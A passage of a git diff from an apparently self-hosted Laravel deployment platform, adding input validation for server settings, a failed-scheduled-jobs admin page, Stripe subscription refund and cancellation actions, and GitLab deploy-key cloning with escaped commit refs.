'regex:/^[a-zA-Z0-9_\-\.]+$/'], ]); } catch (\Throwable $e) { $this->isLogDrainAxiomEnabled = false; diff --git a/app/Livewire/Server/New/ByIp.php b/app/Livewire/Server/New/ByIp.php index eecdfb4d0..51c6a06ee 100644 --- a/app/Livewire/Server/New/ByIp.php +++ b/app/Livewire/Server/New/ByIp.php @@ -5,6 +5,7 @@ use App\Enums\ProxyTypes; use App\Models\Server; use App\Models\Team; +use App\Rules\ValidServerIp; use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Attributes\Locked; @@ -55,8 +56,8 @@ protected function rules(): array 'new_private_key_value' => 'nullable|string', 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'ip' => 'required|string', - 'user' => 'required|string', + 'ip' => ['required', 'string', new ValidServerIp], + 'user' => ['required', 'string', 'regex:/^[a-zA-Z0-9_-]+$/'], 'port' => 'required|integer|between:1,65535', 'is_build_server' => 'required|boolean', ]; diff --git a/app/Livewire/Server/Proxy.php b/app/Livewire/Server/Proxy.php index 1a14baf89..d5f30fca0 100644 --- a/app/Livewire/Server/Proxy.php +++ b/app/Livewire/Server/Proxy.php @@ -51,6 +51,7 @@ public function mount() $this->redirectEnabled = data_get($this->server, 'proxy.redirect_enabled', true); $this->redirectUrl = data_get($this->server, 'proxy.redirect_url'); $this->syncData(false); + $this->loadProxyConfiguration(); } private function syncData(bool $toModel = false): void diff --git a/app/Livewire/Server/Security/TerminalAccess.php b/app/Livewire/Server/Security/TerminalAccess.php index 310edcfe4..b4b99a3e7 100644 --- a/app/Livewire/Server/Security/TerminalAccess.php +++ b/app/Livewire/Server/Security/TerminalAccess.php @@ -31,7 +31,7 @@ public function mount(string $server_uuid) } } - public function toggleTerminal($password) + public function toggleTerminal($password, $selectedActions = []) { try { $this->authorize('update', $this->server); @@ -43,7 +43,7 @@ public function toggleTerminal($password) // Verify password if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } // Toggle the terminal setting @@ -55,6 +55,8 @@ public function toggleTerminal($password) $status = $this->isTerminalEnabled ? 'enabled' : 'disabled'; $this->dispatch('success', "Terminal access has been {$status}."); + + return true; } catch (\Throwable $e) { return handleError($e, $this); } diff --git a/app/Livewire/Server/Sentinel.php b/app/Livewire/Server/Sentinel.php index cdcdc71fc..dff379ae1 100644 --- a/app/Livewire/Server/Sentinel.php +++ b/app/Livewire/Server/Sentinel.php @@ -19,7 +19,7 @@ class Sentinel extends Component public bool $isMetricsEnabled; - #[Validate(['required'])] + #[Validate(['required', 'string', 'max:500', 'regex:/\A[a-zA-Z0-9._\-+=\/]+\z/'])] public string $sentinelToken; public ?string $sentinelUpdatedAt = null; diff --git a/app/Livewire/Server/Show.php b/app/Livewire/Server/Show.php index 83c63a81c..84cb65ee6 100644 --- a/app/Livewire/Server/Show.php +++ b/app/Livewire/Server/Show.php @@ -7,6 +7,7 @@ use App\Events\ServerReachabilityChanged; use App\Models\CloudProviderToken; use App\Models\Server; +use App\Rules\ValidServerIp; use App\Services\HetznerService; use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; @@ -106,9 +107,9 @@ protected function rules(): array return [ 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'ip' => 'required', - 'user' => 'required', - 'port' => 'required', + 'ip' => ['required', new ValidServerIp], + 'user' => ['required', 'regex:/^[a-zA-Z0-9_-]+$/'], + 'port' => 'required|integer|between:1,65535', 'validationLogs' => 'nullable', 'wildcardDomain' => 'nullable|url', 'isReachable' => 'required', @@ -482,6 +483,22 @@ public function startHetznerServer() } } + public function refreshServerMetadata(): void + { + try { + $this->authorize('update', $this->server); + $result = $this->server->gatherServerMetadata(); + if ($result) { + $this->server->refresh(); + $this->dispatch('success', 'Server details refreshed.'); + } else { + $this->dispatch('error', 'Could not fetch server details. Is the server reachable?'); + } + } catch (\Throwable $e) { + handleError($e, $this); + } + } + public function submit() { try { diff --git a/app/Livewire/Server/ValidateAndInstall.php b/app/Livewire/Server/ValidateAndInstall.php index 1a5bd381b..198d823b9 100644 --- a/app/Livewire/Server/ValidateAndInstall.php +++ b/app/Livewire/Server/ValidateAndInstall.php @@ -198,6 +198,9 @@ public function validateDockerVersion() // Mark validation as complete $this->server->update(['is_validating' => false]); + // Auto-fetch server details now that validation passed + $this->server->gatherServerMetadata(); + $this->dispatch('refreshServerShow'); $this->dispatch('refreshBoardingIndex'); ServerValidated::dispatch($this->server->team_id, $this->server->uuid); diff --git a/app/Livewire/Settings/Advanced.php b/app/Livewire/Settings/Advanced.php index 16361ce79..ad478273f 100644 --- a/app/Livewire/Settings/Advanced.php +++ b/app/Livewire/Settings/Advanced.php @@ -95,7 +95,9 @@ public function submit() // Check if it's valid CIDR notation if (str_contains($entry, '/')) { [$ip, $mask] = explode('/', $entry); - if (filter_var($ip, FILTER_VALIDATE_IP) && is_numeric($mask) && $mask >= 0 && $mask <= 32) { + $isIpv6 = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; + $maxMask = $isIpv6 ? 128 : 32; + if (filter_var($ip, FILTER_VALIDATE_IP) && is_numeric($mask) && $mask >= 0 && $mask <= $maxMask) { return $entry; } $invalidEntries[] = $entry; @@ -111,7 +113,7 @@ public function submit() $invalidEntries[] = $entry; return null; - })->filter()->unique(); + })->filter()->values()->all(); if (! empty($invalidEntries)) { $this->dispatch('error', 'Invalid IP addresses or subnets: '.implode(', ', $invalidEntries)); @@ -119,13 +121,15 @@ public function submit() return; } - if ($validEntries->isEmpty()) { + if (empty($validEntries)) { $this->dispatch('error', 'No valid IP addresses or subnets provided'); return; } - $this->allowed_ips = $validEntries->implode(','); + $validEntries = deduplicateAllowlist($validEntries); + + $this->allowed_ips = implode(',', $validEntries); } $this->instantSave(); diff --git a/app/Livewire/Settings/ScheduledJobs.php b/app/Livewire/Settings/ScheduledJobs.php new file mode 100644 index 000000000..1e54f1483 --- /dev/null +++ b/app/Livewire/Settings/ScheduledJobs.php @@ -0,0 +1,321 @@ +executions = collect(); + $this->skipLogs = collect(); + $this->managerRuns = collect(); + } + + public function mount(): void + { + if (! isInstanceAdmin()) { + redirect()->route('dashboard'); + + return; + } + + $this->loadData(); + } + + public function updatedFilterType(): void + { + $this->skipPage = 0; + $this->loadData(); + } + + public function updatedFilterDate(): void + { + $this->skipPage = 0; + $this->loadData(); + } + + public function skipNextPage(): void + { + $this->skipPage += $this->skipDefaultTake; + $this->showSkipPrev = true; + $this->loadData(); + } + + public function skipPreviousPage(): void + { + $this->skipPage -= $this->skipDefaultTake; + if ($this->skipPage < 0) { + $this->skipPage = 0; + } + $this->showSkipPrev = $this->skipPage > 0; + $this->loadData(); + } + + public function refresh(): void + { + $this->loadData(); + } + + public function render() + { + return view('livewire.settings.scheduled-jobs', [ + 'executions' => $this->executions, + 'skipLogs' => $this->skipLogs, + 'managerRuns' => $this->managerRuns, + ]); + } + + private function loadData(?int $teamId = null): void + { + $this->executions = $this->getExecutions($teamId); + + $parser = new SchedulerLogParser; + $allSkips = $parser->getRecentSkips(500, $teamId); + $this->skipTotalCount = $allSkips->count(); + $this->skipLogs = $this->enrichSkipLogsWithLinks( + $allSkips->slice($this->skipPage, $this->skipDefaultTake)->values() + ); + $this->showSkipPrev = $this->skipPage > 0; + $this->showSkipNext = ($this->skipPage + $this->skipDefaultTake) < $this->skipTotalCount; + $this->skipCurrentPage = intval($this->skipPage / $this->skipDefaultTake) + 1; + $this->managerRuns = $parser->getRecentRuns(30, $teamId); + } + + private function enrichSkipLogsWithLinks(Collection $skipLogs): Collection + { + $taskIds = $skipLogs->where('type', 'task')->pluck('context.task_id')->filter()->unique()->values(); + $backupIds = $skipLogs->where('type', 'backup')->pluck('context.backup_id')->filter()->unique()->values(); + $serverIds = $skipLogs->where('type', 'docker_cleanup')->pluck('context.server_id')->filter()->unique()->values(); + + $tasks = $taskIds->isNotEmpty() + ? ScheduledTask::with(['application.environment.project', 'service.environment.project'])->whereIn('id', $taskIds)->get()->keyBy('id') + : collect(); + + $backups = $backupIds->isNotEmpty() + ? ScheduledDatabaseBackup::with(['database.environment.project'])->whereIn('id', $backupIds)->get()->keyBy('id') + : collect(); + + $servers = $serverIds->isNotEmpty() + ? Server::whereIn('id', $serverIds)->get()->keyBy('id') + : collect(); + + return $skipLogs->map(function (array $skip) use ($tasks, $backups, $servers): array { + $skip['link'] = null; + $skip['resource_name'] = null; + + if ($skip['type'] === 'task') { + $task = $tasks->get($skip['context']['task_id'] ?? null); + if ($task) { + $skip['resource_name'] = $skip['context']['task_name'] ?? $task->name; + $resource = $task->application ?? $task->service; + $environment = $resource?->environment; + $project = $environment?->project; + if ($project && $environment && $resource) { + $routeName = $task->application_id + ? 'project.application.scheduled-tasks' + : 'project.service.scheduled-tasks'; + $routeKey = $task->application_id ? 'application_uuid' : 'service_uuid'; + $skip['link'] = route($routeName, [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + $routeKey => $resource->uuid, + 'task_uuid' => $task->uuid, + ]); + } + } + } elseif ($skip['type'] === 'backup') { + $backup = $backups->get($skip['context']['backup_id'] ?? null); + if ($backup) { + $database = $backup->database; + $skip['resource_name'] = $database?->name ?? 'Database backup'; + $environment = $database?->environment; + $project = $environment?->project; + if ($project && $environment && $database) { + $skip['link'] = route('project.database.backup.index', [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'database_uuid' => $database->uuid, + ]); + } + } + } elseif ($skip['type'] === 'docker_cleanup') { + $server = $servers->get($skip['context']['server_id'] ?? null); + if ($server) { + $skip['resource_name'] = $server->name; + $skip['link'] = route('server.show', ['server_uuid' => $server->uuid]); + } + } + + return $skip; + }); + } + + private function getExecutions(?int $teamId = null): Collection + { + $dateFrom = $this->getDateFrom(); + + $backups = collect(); + $tasks = collect(); + $cleanups = collect(); + + if ($this->filterType === 'all' || $this->filterType === 'backup') { + $backups = $this->getBackupExecutions($dateFrom, $teamId); + } + + if ($this->filterType === 'all' || $this->filterType === 'task') { + $tasks = $this->getTaskExecutions($dateFrom, $teamId); + } + + if ($this->filterType === 'all' || $this->filterType === 'cleanup') { + $cleanups = $this->getCleanupExecutions($dateFrom, $teamId); + } + + return $backups->concat($tasks)->concat($cleanups) + ->sortByDesc('created_at') + ->values() + ->take(100); + } + + private function getBackupExecutions(?Carbon $dateFrom, ?int $teamId): Collection + { + $query = ScheduledDatabaseBackupExecution::with(['scheduledDatabaseBackup.database', 'scheduledDatabaseBackup.team']) + ->where('status', 'failed') + ->when($dateFrom, fn ($q) => $q->where('created_at', '>=', $dateFrom)) + ->when($teamId, fn ($q) => $q->whereRelation('scheduledDatabaseBackup.team', 'id', $teamId)) + ->orderBy('created_at', 'desc') + ->limit(100) + ->get(); + + return $query->map(function ($execution) { + $backup = $execution->scheduledDatabaseBackup; + $database = $backup?->database; + $server = $backup?->server(); + + return [ + 'id' => $execution->id, + 'type' => 'backup', + 'status' => $execution->status ?? 'unknown', + 'resource_name' => $database?->name ?? 'Deleted database', + 'resource_type' => $database ? class_basename($database) : null, + 'server_name' => $server?->name ?? 'Unknown', + 'server_id' => $server?->id, + 'team_id' => $backup?->team_id, + 'created_at' => $execution->created_at, + 'finished_at' => $execution->updated_at, + 'message' => $execution->message, + 'size' => $execution->size ?? null, + ]; + }); + } + + private function getTaskExecutions(?Carbon $dateFrom, ?int $teamId): Collection + { + $query = ScheduledTaskExecution::with(['scheduledTask.application', 'scheduledTask.service']) + ->where('status', 'failed') + ->when($dateFrom, fn ($q) => $q->where('created_at', '>=', $dateFrom)) + ->when($teamId, function ($q) use ($teamId) { + $q->where(function ($sub) use ($teamId) { + $sub->whereRelation('scheduledTask.application.environment.project.team', 'id', $teamId) + ->orWhereRelation('scheduledTask.service.environment.project.team', 'id', $teamId); + }); + }) + ->orderBy('created_at', 'desc') + ->limit(100) + ->get(); + + return $query->map(function ($execution) { + $task = $execution->scheduledTask; + $resource = $task?->application ?? $task?->service; + $server = $task?->server(); + $teamId = $server?->team_id; + + return [ + 'id' => $execution->id, + 'type' => 'task', + 'status' => $execution->status ?? 'unknown', + 'resource_name' => $task?->name ?? 'Deleted task', + 'resource_type' => $resource ? class_basename($resource) : null, + 'server_name' => $server?->name ?? 'Unknown', + 'server_id' => $server?->id, + 'team_id' => $teamId, + 'created_at' => $execution->created_at, + 'finished_at' => $execution->finished_at, + 'message' => $execution->message, + 'size' => null, + ]; + }); + } + + private function getCleanupExecutions(?Carbon $dateFrom, ?int $teamId): Collection + { + $query = DockerCleanupExecution::with(['server']) + ->where('status', 'failed') + ->when($dateFrom, fn ($q) => $q->where('created_at', '>=', $dateFrom)) + ->when($teamId, fn ($q) => $q->whereRelation('server', 'team_id', $teamId)) + ->orderBy('created_at', 'desc') + ->limit(100) + ->get(); + + return $query->map(function ($execution) { + $server = $execution->server; + + return [ + 'id' => $execution->id, + 'type' => 'cleanup', + 'status' => $execution->status ?? 'unknown', + 'resource_name' => $server?->name ?? 'Deleted server', + 'resource_type' => 'Server', + 'server_name' => $server?->name ?? 'Unknown', + 'server_id' => $server?->id, + 'team_id' => $server?->team_id, + 'created_at' => $execution->created_at, + 'finished_at' => $execution->finished_at ?? $execution->updated_at, + 'message' => $execution->message, + 'size' => null, + ]; + }); + } + + private function getDateFrom(): ?Carbon + { + return match ($this->filterDate) { + 'last_24h' => now()->subDay(), + 'last_7d' => now()->subWeek(), + 'last_30d' => now()->subMonth(), + default => null, + }; + } +} diff --git a/app/Livewire/SharedVariables/Environment/Show.php b/app/Livewire/SharedVariables/Environment/Show.php index 0bdc1503f..9405b452a 100644 --- a/app/Livewire/SharedVariables/Environment/Show.php +++ b/app/Livewire/SharedVariables/Environment/Show.php @@ -40,6 +40,7 @@ public function saveKey($data) 'value' => $data['value'], 'is_multiline' => $data['is_multiline'], 'is_literal' => $data['is_literal'], + 'comment' => $data['comment'] ?? null, 'type' => 'environment', 'team_id' => currentTeam()->id, ]); @@ -138,7 +139,9 @@ private function deleteRemovedVariables($variables) private function updateOrCreateVariables($variables) { $count = 0; - foreach ($variables as $key => $value) { + foreach ($variables as $key => $data) { + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $found = $this->environment->environment_variables()->where('key', $key)->first(); if ($found) { diff --git a/app/Livewire/SharedVariables/Project/Show.php b/app/Livewire/SharedVariables/Project/Show.php index b205ea1ec..7753a4027 100644 --- a/app/Livewire/SharedVariables/Project/Show.php +++ b/app/Livewire/SharedVariables/Project/Show.php @@ -33,6 +33,7 @@ public function saveKey($data) 'value' => $data['value'], 'is_multiline' => $data['is_multiline'], 'is_literal' => $data['is_literal'], + 'comment' => $data['comment'] ?? null, 'type' => 'project', 'team_id' => currentTeam()->id, ]); @@ -129,7 +130,9 @@ private function deleteRemovedVariables($variables) private function updateOrCreateVariables($variables) { $count = 0; - foreach ($variables as $key => $value) { + foreach ($variables as $key => $data) { + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $found = $this->project->environment_variables()->where('key', $key)->first(); if ($found) { diff --git a/app/Livewire/SharedVariables/Team/Index.php b/app/Livewire/SharedVariables/Team/Index.php index e420686f0..29e21a1b7 100644 --- a/app/Livewire/SharedVariables/Team/Index.php +++ b/app/Livewire/SharedVariables/Team/Index.php @@ -33,6 +33,7 @@ public function saveKey($data) 'value' => $data['value'], 'is_multiline' => $data['is_multiline'], 'is_literal' => $data['is_literal'], + 'comment' => $data['comment'] ?? null, 'type' => 'team', 'team_id' => currentTeam()->id, ]); @@ -128,7 +129,9 @@ private function deleteRemovedVariables($variables) private function updateOrCreateVariables($variables) { $count = 0; - foreach ($variables as $key => $value) { + foreach ($variables as $key => $data) { + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $found = $this->team->environment_variables()->where('key', $key)->first(); if ($found) { diff --git a/app/Livewire/Source/Github/Change.php b/app/Livewire/Source/Github/Change.php index 0a38e6088..17323fdec 100644 --- a/app/Livewire/Source/Github/Change.php +++ b/app/Livewire/Source/Github/Change.php @@ -239,7 +239,7 @@ public function mount() if (isCloud() && ! isDev()) { $this->webhook_endpoint = config('app.url'); } else { - $this->webhook_endpoint = $this->ipv4 ?? ''; + $this->webhook_endpoint = $this->fqdn ?? $this->ipv4 ?? ''; $this->is_system_wide = $this->github_app->is_system_wide; } } catch (\Throwable $e) { diff --git a/app/Livewire/Subscription/Actions.php b/app/Livewire/Subscription/Actions.php index 1388d3244..2d5392240 100644 --- a/app/Livewire/Subscription/Actions.php +++ b/app/Livewire/Subscription/Actions.php @@ -2,21 +2,204 @@ namespace App\Livewire\Subscription; +use App\Actions\Stripe\CancelSubscriptionAtPeriodEnd; +use App\Actions\Stripe\RefundSubscription; +use App\Actions\Stripe\ResumeSubscription; +use App\Actions\Stripe\UpdateSubscriptionQuantity; use App\Models\Team; +use Illuminate\Support\Facades\Hash; use Livewire\Component; +use Stripe\StripeClient; class Actions extends Component { public $server_limits = 0; - public function mount() + public int $quantity = UpdateSubscriptionQuantity::MIN_SERVER_LIMIT; + + public int $minServerLimit = UpdateSubscriptionQuantity::MIN_SERVER_LIMIT; + + public int $maxServerLimit = UpdateSubscriptionQuantity::MAX_SERVER_LIMIT; + + public ?array $pricePreview = null; + + public bool $isRefundEligible = false; + + public int $refundDaysRemaining = 0; + + public bool $refundCheckLoading = true; + + public bool $refundAlreadyUsed = false; + + public function mount(): void { $this->server_limits = Team::serverLimit(); + $this->quantity = (int) $this->server_limits; } - public function stripeCustomerPortal() + public function loadPricePreview(int $quantity): void + { + $this->quantity = $quantity; + $result = (new UpdateSubscriptionQuantity)->fetchPricePreview(currentTeam(), $quantity); + $this->pricePreview = $result['success'] ? $result['preview'] : null; + } + + // Password validation is intentionally skipped for quantity updates. + // Unlike refunds/cancellations, changing the server limit is a + // non-destructive, reversible billing adjustment (prorated by Stripe). + public function updateQuantity(string $password = ''): bool + { + if ($this->quantity < UpdateSubscriptionQuantity::MIN_SERVER_LIMIT) { + $this->dispatch('error', 'Minimum server limit is '.UpdateSubscriptionQuantity::MIN_SERVER_LIMIT.'.'); + $this->quantity = UpdateSubscriptionQuantity::MIN_SERVER_LIMIT; + + return true; + } + + if ($this->quantity === (int) $this->server_limits) { + return true; + } + + $result = (new UpdateSubscriptionQuantity)->execute(currentTeam(), $this->quantity); + + if ($result['success']) { + $this->server_limits = $this->quantity; + $this->pricePreview = null; + $this->dispatch('success', 'Server limit updated to '.$this->quantity.'.'); + + return true; + } + + $this->dispatch('error', $result['error'] ?? 'Failed to update server limit.'); + $this->quantity = (int) $this->server_limits; + + return true; + } + + public function loadRefundEligibility(): void + { + $this->checkRefundEligibility(); + $this->refundCheckLoading = false; + } + + public function stripeCustomerPortal(): void { $session = getStripeCustomerPortalSession(currentTeam()); redirect($session->url); } + + public function refundSubscription(string $password): bool|string + { + if (! shouldSkipPasswordConfirmation() && ! Hash::check($password, auth()->user()->password)) { + return 'Invalid password.'; + } + + $result = (new RefundSubscription)->execute(currentTeam()); + + if ($result['success']) { + $this->dispatch('success', 'Subscription refunded successfully.'); + $this->redirect(route('subscription.index'), navigate: true); + + return true; + } + + $this->dispatch('error', 'Something went wrong with the refund. Please contact us.'); + + return true; + } + + public function cancelImmediately(string $password): bool|string + { + if (! shouldSkipPasswordConfirmation() && ! Hash::check($password, auth()->user()->password)) { + return 'Invalid password.'; + } + + $team = currentTeam(); + $subscription = $team->subscription; + + if (! $subscription?->stripe_subscription_id) { + $this->dispatch('error', 'Something went wrong with the cancellation. Please contact us.'); + + return true; + } + + try { + $stripe = new StripeClient(config('subscription.stripe_api_key')); + $stripe->subscriptions->cancel($subscription->stripe_subscription_id); + + $subscription->update([ + 'stripe_cancel_at_period_end' => false, + 'stripe_invoice_paid' => false, + 'stripe_trial_already_ended' => false, + 'stripe_past_due' => false, + 'stripe_feedback' => 'Cancelled immediately by user', + 'stripe_comment' => 'Subscription cancelled immediately by user at '.now()->toDateTimeString(), + ]); + + $team->subscriptionEnded(); + + \Log::info("Subscription {$subscription->stripe_subscription_id} cancelled immediately for team {$team->name}"); + + $this->dispatch('success', 'Subscription cancelled successfully.'); + $this->redirect(route('subscription.index'), navigate: true); + + return true; + } catch (\Exception $e) { + \Log::error("Immediate cancellation error for team {$team->id}: ".$e->getMessage()); + + $this->dispatch('error', 'Something went wrong with the cancellation. Please contact us.'); + + return true; + } + } + + public function cancelAtPeriodEnd(string $password): bool|string + { + if (! shouldSkipPasswordConfirmation() && ! Hash::check($password, auth()->user()->password)) { + return 'Invalid password.'; + } + + $result = (new CancelSubscriptionAtPeriodEnd)->execute(currentTeam()); + + if ($result['success']) { + $this->dispatch('success', 'Subscription will be cancelled at the end of the billing period.'); + + return true; + } + + $this->dispatch('error', 'Something went wrong with the cancellation. Please contact us.'); + + return true; + } + + public function resumeSubscription(): bool + { + $result = (new ResumeSubscription)->execute(currentTeam()); + + if ($result['success']) { + $this->dispatch('success', 'Subscription resumed successfully.'); + + return true; + } + + $this->dispatch('error', 'Something went wrong resuming the subscription. Please contact us.'); + + return true; + } + + private function checkRefundEligibility(): void + { + if (! isCloud() || ! currentTeam()->subscription?->stripe_subscription_id) { + return; + } + + try { + $this->refundAlreadyUsed = currentTeam()->subscription?->stripe_refunded_at !== null; + $result = (new RefundSubscription)->checkEligibility(currentTeam()); + $this->isRefundEligible = $result['eligible']; + $this->refundDaysRemaining = $result['days_remaining']; + } catch (\Exception $e) { + \Log::warning('Refund eligibility check failed: '.$e->getMessage()); + } + } } diff --git a/app/Livewire/Team/AdminView.php b/app/Livewire/Team/AdminView.php index c8d44d42b..09878f27b 100644 --- a/app/Livewire/Team/AdminView.php +++ b/app/Livewire/Team/AdminView.php @@ -49,14 +49,14 @@ public function getUsers() } } - public function delete($id, $password) + public function delete($id, $password, $selectedActions = []) { if (! isInstanceAdmin()) { return redirect()->route('dashboard'); } if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } if (! auth()->user()->isInstanceAdmin()) { @@ -71,6 +71,8 @@ public function delete($id, $password) try { $user->delete(); $this->getUsers(); + + return true; } catch (\Exception $e) { return $this->dispatch('error', $e->getMessage()); } diff --git a/app/Models/Application.php b/app/Models/Application.php index d6c222a97..82e4d6311 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -61,6 +61,8 @@ 'health_check_timeout' => ['type' => 'integer', 'description' => 'Health check timeout in seconds.'], 'health_check_retries' => ['type' => 'integer', 'description' => 'Health check retries count.'], 'health_check_start_period' => ['type' => 'integer', 'description' => 'Health check start period in seconds.'], + 'health_check_type' => ['type' => 'string', 'description' => 'Health check type: http or cmd.', 'enum' => ['http', 'cmd']], + 'health_check_command' => ['type' => 'string', 'nullable' => true, 'description' => 'Health check command for CMD type.'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit.'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit.'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness.'], @@ -987,17 +989,24 @@ public function isPRDeployable(): bool public function deploymentType() { - if (isDev() && data_get($this, 'private_key_id') === 0) { + $privateKeyId = data_get($this, 'private_key_id'); + + // Real private key (id > 0) always takes precedence + if ($privateKeyId !== null && $privateKeyId > 0) { return 'deploy_key'; } - if (data_get($this, 'private_key_id')) { - return 'deploy_key'; - } elseif (data_get($this, 'source')) { + + // GitHub/GitLab App source + if (data_get($this, 'source')) { return 'source'; - } else { - return 'other'; } - throw new \Exception('No deployment type found'); + + // Localhost key (id = 0) when no source is configured + if ($privateKeyId === 0) { + return 'deploy_key'; + } + + return 'other'; } public function could_set_build_commands(): bool @@ -1085,19 +1094,28 @@ public function dirOnServer() return application_configuration_dir()."/{$this->uuid}"; } - public function setGitImportSettings(string $deployment_uuid, string $git_clone_command, bool $public = false) + public function setGitImportSettings(string $deployment_uuid, string $git_clone_command, bool $public = false, ?string $commit = null, ?string $git_ssh_command = null) { $baseDir = $this->generateBaseDir($deployment_uuid); $escapedBaseDir = escapeshellarg($baseDir); $isShallowCloneEnabled = $this->settings?->is_git_shallow_clone_enabled ?? false; - if ($this->git_commit_sha !== 'HEAD') { + // Use the full GIT_SSH_COMMAND (including -i for SSH key and port options) when provided, + // so that git fetch, submodule update, and lfs pull can authenticate the same way as git clone. + $sshCommand = $git_ssh_command ?? 'GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"'; + + // Use the explicitly passed commit (e.g. from rollback), falling back to the application's git_commit_sha. + // Invalid refs will cause the git checkout/fetch command to fail on the remote server. + $commitToUse = $commit ?? $this->git_commit_sha; + + if ($commitToUse !== 'HEAD') { + $escapedCommit = escapeshellarg($commitToUse); // If shallow clone is enabled and we need a specific commit, // we need to fetch that specific commit with depth=1 if ($isShallowCloneEnabled) { - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git fetch --depth=1 origin {$this->git_commit_sha} && git -c advice.detachedHead=false checkout {$this->git_commit_sha} >/dev/null 2>&1"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && {$sshCommand} git fetch --depth=1 origin {$escapedCommit} && git -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; } else { - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git -c advice.detachedHead=false checkout {$this->git_commit_sha} >/dev/null 2>&1"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && {$sshCommand} git -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; } } if ($this->settings->is_git_submodules_enabled) { @@ -1108,10 +1126,10 @@ public function setGitImportSettings(string $deployment_uuid, string $git_clone_ } // Add shallow submodules flag if shallow clone is enabled $submoduleFlags = $isShallowCloneEnabled ? '--depth=1' : ''; - $git_clone_command = "{$git_clone_command} git submodule sync && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git submodule update --init --recursive {$submoduleFlags}; fi"; + $git_clone_command = "{$git_clone_command} git submodule sync && {$sshCommand} git submodule update --init --recursive {$submoduleFlags}; fi"; } if ($this->settings->is_git_lfs_enabled) { - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git lfs pull"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && {$sshCommand} git lfs pull"; } return $git_clone_command; @@ -1156,14 +1174,15 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_ $base_command = "{$base_command} {$escapedRepoUrl}"; } else { $github_access_token = generateGithubInstallationToken($this->source); + $encodedToken = rawurlencode($github_access_token); if ($exec_in_docker) { - $repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git"; + $repoUrl = "$source_html_url_scheme://x-access-token:$encodedToken@$source_html_url_host/{$customRepository}.git"; $escapedRepoUrl = escapeshellarg($repoUrl); $base_command = "{$base_command} {$escapedRepoUrl}"; $fullRepoUrl = $repoUrl; } else { - $repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}"; + $repoUrl = "$source_html_url_scheme://x-access-token:$encodedToken@$source_html_url_host/{$customRepository}"; $escapedRepoUrl = escapeshellarg($repoUrl); $base_command = "{$base_command} {$escapedRepoUrl}"; $fullRepoUrl = $repoUrl; @@ -1182,6 +1201,62 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_ 'fullRepoUrl' => $fullRepoUrl, ]; } + + if ($this->source->getMorphClass() === \App\Models\GitlabApp::class) { + $gitlabSource = $this->source; + $private_key = data_get($gitlabSource, 'privateKey.private_key'); + + if ($private_key) { + $fullRepoUrl = $customRepository; + $private_key = base64_encode($private_key); + $gitlabPort = $gitlabSource->custom_port ?? 22; + $escapedCustomRepository = str_replace("'", "'\\''", $customRepository); + $base_command = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$gitlabPort} -o Port={$gitlabPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$base_command} '{$escapedCustomRepository}'"; + + if ($exec_in_docker) { + $commands = collect([ + executeInDocker($deployment_uuid, 'mkdir -p /root/.ssh'), + executeInDocker($deployment_uuid, "echo '{$private_key}' | base64 -d | tee /root/.ssh/id_rsa > /dev/null"), + executeInDocker($deployment_uuid, 'chmod 600 /root/.ssh/id_rsa'), + ]); + } else { + $commands = collect([ + 'mkdir -p /root/.ssh', + "echo '{$private_key}' | base64 -d | tee /root/.ssh/id_rsa > /dev/null", + 'chmod 600 /root/.ssh/id_rsa', + ]); + } + + if ($exec_in_docker) { + $commands->push(executeInDocker($deployment_uuid, $base_command)); + } else { + $commands->push($base_command); + } + + return [ + 'commands' => $commands->implode(' && '), + 'branch' => $branch, + 'fullRepoUrl' => $fullRepoUrl, + ]; + } + + // GitLab source without private key — use URL as-is (supports user-embedded basic auth) + $fullRepoUrl = $customRepository; + $escapedCustomRepository = escapeshellarg($customRepository); + $base_command = "{$base_command} {$escapedCustomRepository}"; + + if ($exec_in_docker) { + $commands->push(executeInDocker($deployment_uuid, $base_command)); + } else { + $commands->push($base_command); + } + + return [ + 'commands' => $commands->implode(' && '), + 'branch' => $branch, + 'fullRepoUrl' => $fullRepoUrl, + ]; + } } if ($this->deploymentType() === 'deploy_key') { @@ -1285,7 